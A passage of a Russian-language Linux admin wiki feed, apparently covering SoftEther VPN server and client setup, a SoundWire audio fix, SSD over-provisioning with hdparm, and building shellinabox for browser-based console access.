&lt;h3 class=&quot;sectionedit8&quot; id=&quot;создание_виртуального_хаба&quot;&gt;Создание виртуального Хаба&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
&lt;strong&gt;SoftEther&lt;/strong&gt; использует концепцию виртуальных хабов. Хабы используются для разграничения прав и изоляции траффика. Можно создать новый хаб, но можно использовать дефолтный.
Я буду использовать дефолтный.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Hub DEFAULT&lt;/pre&gt;

&lt;p&gt;
Создать новый хаб и перейти в него можно командами:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;HubCreate AUTOSYS
Hub Autosys&lt;/pre&gt;

&lt;p&gt;
Задать административный пароль для хаба можно командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;SetHubPassword&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0425\u0430\u0431\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435_\u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0433\u043e_\u0445\u0430\u0431\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;6531-7222&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit9&quot; id=&quot;создание_пользователя&quot;&gt;Создание пользователя&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
&lt;strong&gt;SoftEther&lt;/strong&gt; поддерживает много разных вариантов авторизации, в том числе и &lt;strong&gt;AD&lt;/strong&gt;, &lt;strong&gt;RADIUS&lt;/strong&gt;, однако, настраивать их через &lt;strong&gt;CLI&lt;/strong&gt; я пока не знаю как, поэтому - настраиваю локальных пользователей. &lt;br/&gt;

Создание пользователя:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;UserCreate test&lt;/pre&gt;

&lt;p&gt;
Задаем пароль для пользователя:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;UserPasswordSet test&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435_\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;7223-7750&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit10&quot; id=&quot;режим_маршрутизации_траффика&quot;&gt;Режим маршрутизации траффика&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
После выбора хаба нужно задать режим маршрутизации VPN-сессий. Режимов два - &lt;strong&gt;Local Bridge&lt;/strong&gt; и &lt;strong&gt;SecureNAT&lt;/strong&gt;. &lt;br/&gt;

&lt;a href=&quot;http://www.softether.org/4-docs/1-manual/3._SoftEther_VPN_Server_Manual/3.6_Local_Bridges&quot; class=&quot;urlextern&quot; title=&quot;http://www.softether.org/4-docs/1-manual/3._SoftEther_VPN_Server_Manual/3.6_Local_Bridges&quot; rel=&quot;ugc nofollow&quot;&gt;LocalBridge&lt;/a&gt; - вариант при котором клиент присоединяется к сегменту Ethernet-сети, подключенному к одному из физических сетевых адаптеров VPN-сервера. Соединение происходит на втором уровне модели OSI&lt;br/&gt;

&lt;a href=&quot;http://www.softether.org/index.php?title=4-docs/1-manual/3._SoftEther_VPN_Server_Manual/3.7_Virtual_NAT_%26_Virtual_DHCP_Servers&quot; class=&quot;urlextern&quot; title=&quot;http://www.softether.org/index.php?title=4-docs/1-manual/3._SoftEther_VPN_Server_Manual/3.7_Virtual_NAT_%26_Virtual_DHCP_Servers&quot; rel=&quot;ugc nofollow&quot;&gt;SecureNAT&lt;/a&gt; - режим, в котором VPN-сервер маршрутизирует траффик как роутер. В этом случае в недрах сервера &lt;strong&gt;SoftEther&lt;/strong&gt; поднимается собственный маршрутизатор и &lt;strong&gt;DHCP&lt;/strong&gt;-сервер (не связанные с ядром ОС), способные работать в userspace.  
Виду того, что я поднимаю &lt;strong&gt;SoftEther&lt;/strong&gt; в контейнере &lt;strong&gt;lxc&lt;/strong&gt;, я буду использовать режим &lt;strong&gt;SecureNAT&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;SecureNatEnable&lt;/pre&gt;

&lt;p&gt;
При включении режима &lt;strong&gt;SecureNat&lt;/strong&gt; автоматически включается маршрутизатор и и &lt;strong&gt;DHCP&lt;/strong&gt;-сервер. &lt;br/&gt;

Настроить параметры виртуального сетевого адаптера &lt;strong&gt;SecureNAT&lt;/strong&gt; можно командой: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;SecureNatHostSet&lt;/pre&gt;

&lt;p&gt;
При выполнении &lt;strong&gt;SecureNatHostSet&lt;/strong&gt; нужно задать &lt;strong&gt;MAC&lt;/strong&gt;-адрес (произвольный, начинающийся с &lt;strong&gt;00:AC&lt;/strong&gt;), &lt;strong&gt;IP&lt;/strong&gt;-адрес (по-умолчанию &lt;strong&gt;192.168.30.1&lt;/strong&gt;) и маску сети (по-умолчанию - &lt;strong&gt;255.255.255.0&lt;/strong&gt;). &lt;br/&gt;

Параметры MTU и таймаутов для &lt;strong&gt;Virtual NAT&lt;/strong&gt; можно задать командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;NatSet&lt;/pre&gt;

&lt;p&gt;
Параметры сервера &lt;strong&gt;DHCP&lt;/strong&gt; задаются командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;DhcpSet&lt;/pre&gt;

&lt;p&gt;
Посмотреть текущие выданные &lt;strong&gt;DHCP&lt;/strong&gt;-сервером &lt;strong&gt;IP&lt;/strong&gt;-адреса:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;DhcpTable&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0436\u0438\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0442\u0440\u0430\u0444\u0444\u0438\u043a\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0436\u0438\u043c_\u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438_\u0442\u0440\u0430\u0444\u0444\u0438\u043a\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:10,&amp;quot;range&amp;quot;:&amp;quot;7751-10064&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit11&quot; id=&quot;состояние_сервера_softether&quot;&gt;Состояние сервера SoftEther&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Список прослушиваемых в данный момент портов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ListenerList&lt;/pre&gt;

&lt;p&gt;
Настройки &lt;strong&gt;SecureNAT&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;SecureNatHostGet&lt;/pre&gt;

&lt;p&gt;
Состояние &lt;strong&gt;SecureNAT&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;SecureNatStatusGet&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 SoftEther&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435_\u0441\u0435\u0440\u0432\u0435\u0440\u0430_softether&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:11,&amp;quot;range&amp;quot;:&amp;quot;10065-10331&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit12&quot; id=&quot;настройка_l2tpipsec&quot;&gt;Настройка L2TP/IPSec&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Включаем &lt;strong&gt;L2TP/IPSec&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;&amp;gt; IPsecEnable /L2TP:yes /L2TPRAW:no /ETHERIP:no /PSK:&amp;lt;preshared-key&amp;gt; /DEFAULTHUB:DEFAULT&lt;/pre&gt;

&lt;p&gt;
Проверяем статус &lt;strong&gt;OpenVPN&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;&amp;gt; OpenVpnGet
OpenVPN Clone Server Enabled|Yes
UDP Port List               |1194&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 L2TP\/IPSec&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_l2tpipsec&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:12,&amp;quot;range&amp;quot;:&amp;quot;10332-10627&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit13&quot; id=&quot;настройка_клиента_softether&quot;&gt;Настройка клиента SoftEther&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Клиент SoftEther способен работать в режиме сервиса, самостоятельно поддерживая работоспособность канала.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://www.softether-download.com/files/softether/v4.24-9651-beta-2017.10.23-tree/Linux/SoftEther_VPN_Client/64bit_-_Intel_x64_or_AMD64/softether-vpnclient-v4.24-9651-beta-2017.10.23-linux-x64-64bit.tar.gz
tar -xvf ./softether-vpnclient-v4.24-9651-beta-2017.10.23-linux-x64-64bit.tar.gz 
cd vpnclient/
echo -e &amp;quot;1\n1\n1\n&amp;quot; | make&lt;/pre&gt;

&lt;p&gt;
Запускаем клиента:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo ./vpnclient start&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 SoftEther&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u043a\u043b\u0438\u0435\u043d\u0442\u0430_softether&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:13,&amp;quot;range&amp;quot;:&amp;quot;10628-11277&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit14&quot; id=&quot;настройка_подключения&quot;&gt;Настройка подключения&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Запускаем утилитку управления клиентом.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo ./vpncmd&lt;/pre&gt;

&lt;p&gt;
Теперь жмем 2.&lt;br/&gt;

При настройке клента надо сделать две вещи. Создать виртуальный сетевой адаптер и привязать к нему подключение. &lt;br/&gt;

Создаем адаптер:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;NicCreate autosys&lt;/pre&gt;

&lt;p&gt;
Создаем подключение:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;AccountCreate autosys&lt;/pre&gt;

&lt;p&gt;
При создании подключения сервер указвыавем с  портом &lt;strong&gt;server:port&lt;/strong&gt;. В моем случае как-то так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;VPN Client&amp;gt;NicCreate autosys
NicCreate command - Create New Virtual Network Adapter
The command completed successfully.

VPN Client&amp;gt;AccountCreate autosys
AccountCreate command - Create New VPN Connection Setting
Destination VPN Server Host Name and Port Number: sstp.autosys.tk

The host name and port number specification is invalid. 
Please specify using the format of host name:port number, or IP address:port number.
Destination VPN Server Host Name and Port Number: sstp.autosys.tk:443

Destination Virtual Hub Name: DEFAULT

Connecting User Name: mike

Used Virtual Network Adapter Name: autosys

The command completed successfully.&lt;/pre&gt;

&lt;p&gt;
Теперь прописываем пароль для нового подключения:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;AccountPasswordSet&lt;/pre&gt;

&lt;p&gt;
тут нужно указать имя подключения, пароль и тип авторизации (&lt;strong&gt;standard&lt;/strong&gt; или &lt;strong&gt;RADIUS&lt;/strong&gt;) в нашем случае - &lt;strong&gt;standard&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;VPN Client&amp;gt;AccountPasswordSet
AccountPasswordSet command - Set User Authentication Type of VPN Connection Setting to Password Authentication
Name of VPN Connection Setting: autosys

Please enter the password. To cancel press the Ctrl+D key.

Password: *******
Confirm input: *******

Specify standard or radius: standard

The command completed successfully.&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:14,&amp;quot;range&amp;quot;:&amp;quot;11278-13259&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit15&quot; id=&quot;установка_связи&quot;&gt;Установка связи&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;AccountConnect myconnection&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0441\u0432\u044f\u0437\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_\u0441\u0432\u044f\u0437\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:15,&amp;quot;range&amp;quot;:&amp;quot;13260-13332&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit16&quot; id=&quot;проверка_состояния_подключения&quot;&gt;Проверка состояния подключения&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;AccountStatusGet myconnection&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430_\u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f_\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:16,&amp;quot;range&amp;quot;:&amp;quot;13333-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 09 Apr 2020 13:23:54 +0000</pubDate>
        </item>
        <item>
            <title>soundwire</title>
            <link>https://wiki.autosys.tk/linux_faq/soundwire</link>
            <description>
&lt;p&gt;
Для передачи звука с ноута на &lt;strong&gt;TV-Box&lt;/strong&gt; с &lt;strong&gt;Android&lt;/strong&gt; я использую &lt;a href=&quot;http://georgielabs.net/&quot; class=&quot;urlextern&quot; title=&quot;http://georgielabs.net/&quot; rel=&quot;ugc nofollow&quot;&gt;SoundWire&lt;/a&gt;. &lt;br/&gt;

&lt;strong&gt;SoundWire&lt;/strong&gt; представялет собой сервер, работающий на &lt;strong&gt;PC&lt;/strong&gt; и клиент, работащий на &lt;strong&gt;Android&lt;/strong&gt;. На клиента транслируется звук, который присутствует на выходе &lt;strong&gt;PC&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Система - &lt;strong&gt;Ubuntu 20.10&lt;/strong&gt; + &lt;strong&gt;KDE&lt;/strong&gt;. Звук - &lt;strong&gt;ALSA&lt;/strong&gt; + &lt;strong&gt;PulseAudio&lt;/strong&gt;. &lt;br/&gt;

У меня после запуска и соединения сервера с клиентом не было слишно звука. &lt;br/&gt;

Оказалось, что нужно открыть &lt;strong&gt;Audio Volume Settings&lt;/strong&gt;, слева кликнуть в &lt;strong&gt;Audio&lt;/strong&gt;, перейти на вкладку &lt;strong&gt;Advanced&lt;/strong&gt;, затем - в свойствах устройства вывода выбрать профиль &lt;strong&gt;Analog Stereo Output&lt;/strong&gt; (там был выставлен &lt;strong&gt;Analog Stereo Dulplex&lt;/strong&gt;).
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 10 Dec 2020 08:46:20 +0000</pubDate>
        </item>
        <item>
            <title>ssd_overprovisioning_setup</title>
            <link>https://wiki.autosys.tk/linux_faq/ssd_overprovisioning_setup</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;ssd_over_provisioning&quot;&gt;SSD Over Provisioning&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;strong&gt;SSD Over Provisioning&lt;/strong&gt; - это резервирование блоков на &lt;strong&gt;SSD&lt;/strong&gt; для подстановки вместо выходящих из строя. &lt;br/&gt;

Типичное количество циклов перезаписи, которое выдерживает ячейка диска &lt;strong&gt;SSD&lt;/strong&gt;, лежит в пределах от 1000 (для &lt;strong&gt;TCL flash&lt;/strong&gt;) до 3000 (для &lt;strong&gt;MLC flash&lt;/strong&gt;). В дальнейшем, ячейка памяти может выйти из строя. Конечно, существует память &lt;strong&gt;SLC&lt;/strong&gt;, для которой количество циклов перезаписи может достигать 100 000, однако она заметно дороже. &lt;br/&gt;

Для оперативной замены выходящих из строя блоков на &lt;strong&gt;SSD&lt;/strong&gt; выделяется недоступная пользователю резервная область, из которой берутся свежие блоки, на замену выходящим из строя. Эта методика и называется &lt;strong&gt;Over Provisioning&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;SSD Over Provisioning&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;ssd_over_provisioning&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1163&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;объем_резервной_области&quot;&gt;Объем резервной области&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Типичный объем такой области - &lt;strong&gt;7%&lt;/strong&gt; от емкости &lt;strong&gt;SSD&lt;/strong&gt;. &lt;br/&gt;

Для понимания объема резервной области нужно понимать некоторе нюансы. Во-первых - различают две единицы емкости - &lt;strong&gt;гигабайт (Gb)&lt;/strong&gt;  и &lt;strong&gt;гибибайт (GiB)&lt;/strong&gt;. Гигабайт равен ровно миллиарду (&lt;strong&gt;1 000 000 000&lt;/strong&gt;) байт. Гибибайт - это &lt;strong&gt;2^30&lt;/strong&gt; = &lt;strong&gt;1 073 741 824&lt;/strong&gt; байт. Таким образом, гибибайт на &lt;strong&gt;7,37%&lt;/strong&gt; больше гигабайта. Маркетологи продают нам гигабайты, а в чипах по прежнему фигурируют гибибайты. В результате этой нехитрой махинации в дисках образуется некоторый излишек физических ячеек памяти, который и становится резервом. &lt;br/&gt;

Кроме того, часто производители еще немного урезают полезную емкость SSD расширяя резервную область. Допустим, у нас есть 128GiB памяти. Мы превращаем гибибайты в гигабайты и получаем &lt;strong&gt;7,37%&lt;/strong&gt;, а потом еще уменьшаем объем диска до 120GB и у нас получается SSD с объемом &lt;strong&gt;OP ~15%&lt;/strong&gt;. &lt;br/&gt;

Также, умные контроллеры для увеличения срока жизни дисков будут использовать в качестве резерва и доступные пользователю, но ни разу не записанные области диска. Это называется &lt;strong&gt;Dynamic Over Provisioning&lt;/strong&gt;.
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/ssd-over-provisioning-example-2094x1956.jpg&quot; class=&quot;media&quot; title=&quot;linux_faq:ssd-over-provisioning-example-2094x1956.jpg&quot;&gt;&lt;img src=&quot;https://wiki.autosys.tk/_media/linux_faq/ssd-over-provisioning-example-2094x1956.jpg?w=400&amp;amp;tok=10d54c&quot; class=&quot;mediacenter&quot; loading=&quot;lazy&quot; alt=&quot;&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0431\u044a\u0435\u043c \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0431\u044a\u0435\u043c_\u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0439_\u043e\u0431\u043b\u0430\u0441\u0442\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1164-3140&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;увеличение_срока_жизни_ssd&quot;&gt;Увеличение срока жизни SSD&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Итак, жизнь SSD подойдет к концу, когда исчерпается запас резервных ячеек. 
Как же можно увеличить объем резервной области?
Варианта два. &lt;br/&gt;

Первый - надеяться на &lt;strong&gt;Dynamic Over Provisioning&lt;/strong&gt; и создавать разделы, которые не будут занимать весь объем диска. &lt;br/&gt;

Второй - ограничить объем диска вручную. Под &lt;strong&gt;Linux&lt;/strong&gt; это можно сделать с помощью &lt;strong&gt;hdparm&lt;/strong&gt; и механизма &lt;strong&gt;HPA - Host Protected Area&lt;/strong&gt;. &lt;br/&gt;

Посмотреть текущее количество доступных секторов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#hdparm -N /dev/sdb

/dev/sdb:
 max sectors   = 312581808/312581808, HPA is disabled&lt;/pre&gt;

&lt;p&gt;
Спрятать от пользователя часть диска:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# hdparm -Np281323627 --yes-i-know-what-i-am-doing /dev/sdb

/dev/sdb:
 setting max visible sectors to 281323627 (permanent)
 max sectors   = 281323627/312581808, HPA is enabled&lt;/pre&gt;

&lt;p&gt;
В результате чать SSD станет недоступна пользователю и может быть использована как резервная. На некоторых дисках, для того, чтобы сектора не рассматривались как использованные  - нужно выполнить &lt;strong&gt;Secure Erase&lt;/strong&gt;. &lt;br/&gt;

Эти рекомендации соответствуют позиции производителей SSD. &lt;br/&gt;

&lt;a href=&quot;https://storage.toshiba.com/docs/services-support-documents/ssd_application_note.pdf&quot; class=&quot;urlextern&quot; title=&quot;https://storage.toshiba.com/docs/services-support-documents/ssd_application_note.pdf&quot; rel=&quot;ugc nofollow&quot;&gt;https://storage.toshiba.com/docs/services-support-documents/ssd_application_note.pdf&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435 \u0441\u0440\u043e\u043a\u0430 \u0436\u0438\u0437\u043d\u0438 SSD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435_\u0441\u0440\u043e\u043a\u0430_\u0436\u0438\u0437\u043d\u0438_ssd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;3141-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>ssh_in_browser</title>
            <link>https://wiki.autosys.tk/linux_faq/ssh_in_browser</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;ssh_in_browser_using_webrtc&quot;&gt;SSH In Browser Using WebRTC&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://sqs.io/&quot; class=&quot;urlextern&quot; title=&quot;https://sqs.io/&quot; rel=&quot;ugc nofollow&quot;&gt;https://sqs.io/&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;SSH In Browser Using WebRTC&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;ssh_in_browser_using_webrtc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-60&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;shellinabox&quot;&gt;ShellInABox&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Иногда нужно иметь доступ к консоли из web-браузера.
Для этого есть много решений. Одно из них - &lt;strong&gt;shellinabox&lt;/strong&gt;.
Старая неподдерживаемая версия: &lt;a href=&quot;https://code.google.com/p/shellinabox/&quot; class=&quot;urlextern&quot; title=&quot;https://code.google.com/p/shellinabox/&quot; rel=&quot;ugc nofollow&quot;&gt;https://code.google.com/p/shellinabox/&lt;/a&gt;   она есть в репозиториях ubuntu.
Текущая поддерживаемая: &lt;a href=&quot;https://github.com/shellinabox/shellinabox&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/shellinabox/shellinabox&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/shellinabox/shellinabox&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
Будем собирать текущую:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install git libssl-dev libpam0g-dev zlib1g-dev dh-autoreconf 
git clone https://github.com/shellinabox/shellinabox.git &amp;amp;&amp;amp; cd shellinabox
autoreconf -i
./configure &amp;amp;&amp;amp; make
dpkg-buildpackage -b&lt;/pre&gt;

&lt;p&gt;
Если встречается ошибка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; undefined reference to `SSL_CTX_set_options&amp;#039;&lt;/pre&gt;

&lt;p&gt;
То нужно переустановить старую версию &lt;strong&gt;libssl-dev&lt;/strong&gt; и пересобрать:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get -y install libssl1.0-dev
./configure &amp;amp;&amp;amp; make
dpkg-buildpackage -b -d&lt;/pre&gt;

&lt;p&gt;
И потом ставить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo dpkg -i ../shellinabox_{ver}_{arch}.deb&lt;/pre&gt;

&lt;p&gt;
После установки &lt;strong&gt;shell&lt;/strong&gt; доступен по адресу: &lt;a href=&quot;https://___SERVER_IP___:4200&quot; class=&quot;urlextern&quot; title=&quot;https://___SERVER_IP___:4200&quot; rel=&quot;ugc nofollow&quot;&gt;https://___SERVER_IP___:4200&lt;/a&gt;
Демон запускается скриптом: &lt;strong&gt;/etc/init.d/shellinabox&lt;/strong&gt;
Конфигурационный файл лежит тут:  &lt;strong&gt;/etc/default/shellinabox&lt;/strong&gt;
